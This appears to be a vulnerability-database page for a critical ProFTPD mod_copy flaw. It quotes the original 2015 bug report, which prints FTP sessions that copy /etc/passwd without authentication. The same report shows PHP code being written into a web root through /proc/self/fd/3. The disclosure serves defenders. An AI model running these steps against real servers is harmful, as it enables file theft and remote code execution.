CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Improper Access Control The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
93.77%
–
–
2023-03-12
–
–
–
97.27%
–
2023-05-28
–
–
–
96.91%
–
2023-07-16
–
–
–
97.27%
–
2024-01-28
–
–
–
97.19%
–
2024-06-02
–
–
–
97.09%
–
2024-11-17
–
–
–
97.03%
–
2024-12-22
–
–
–
96.79%
–
2025-01-19
–
–
–
96.79%
–
2025-03-18
–
–
–
–
94.11%
2025-03-18
–
–
–
–
94.11,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:
---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------
He provides another, scarier example:
------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------
test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter
Source: http://bugs.proftpd.org/show_bug.cgi?id=4169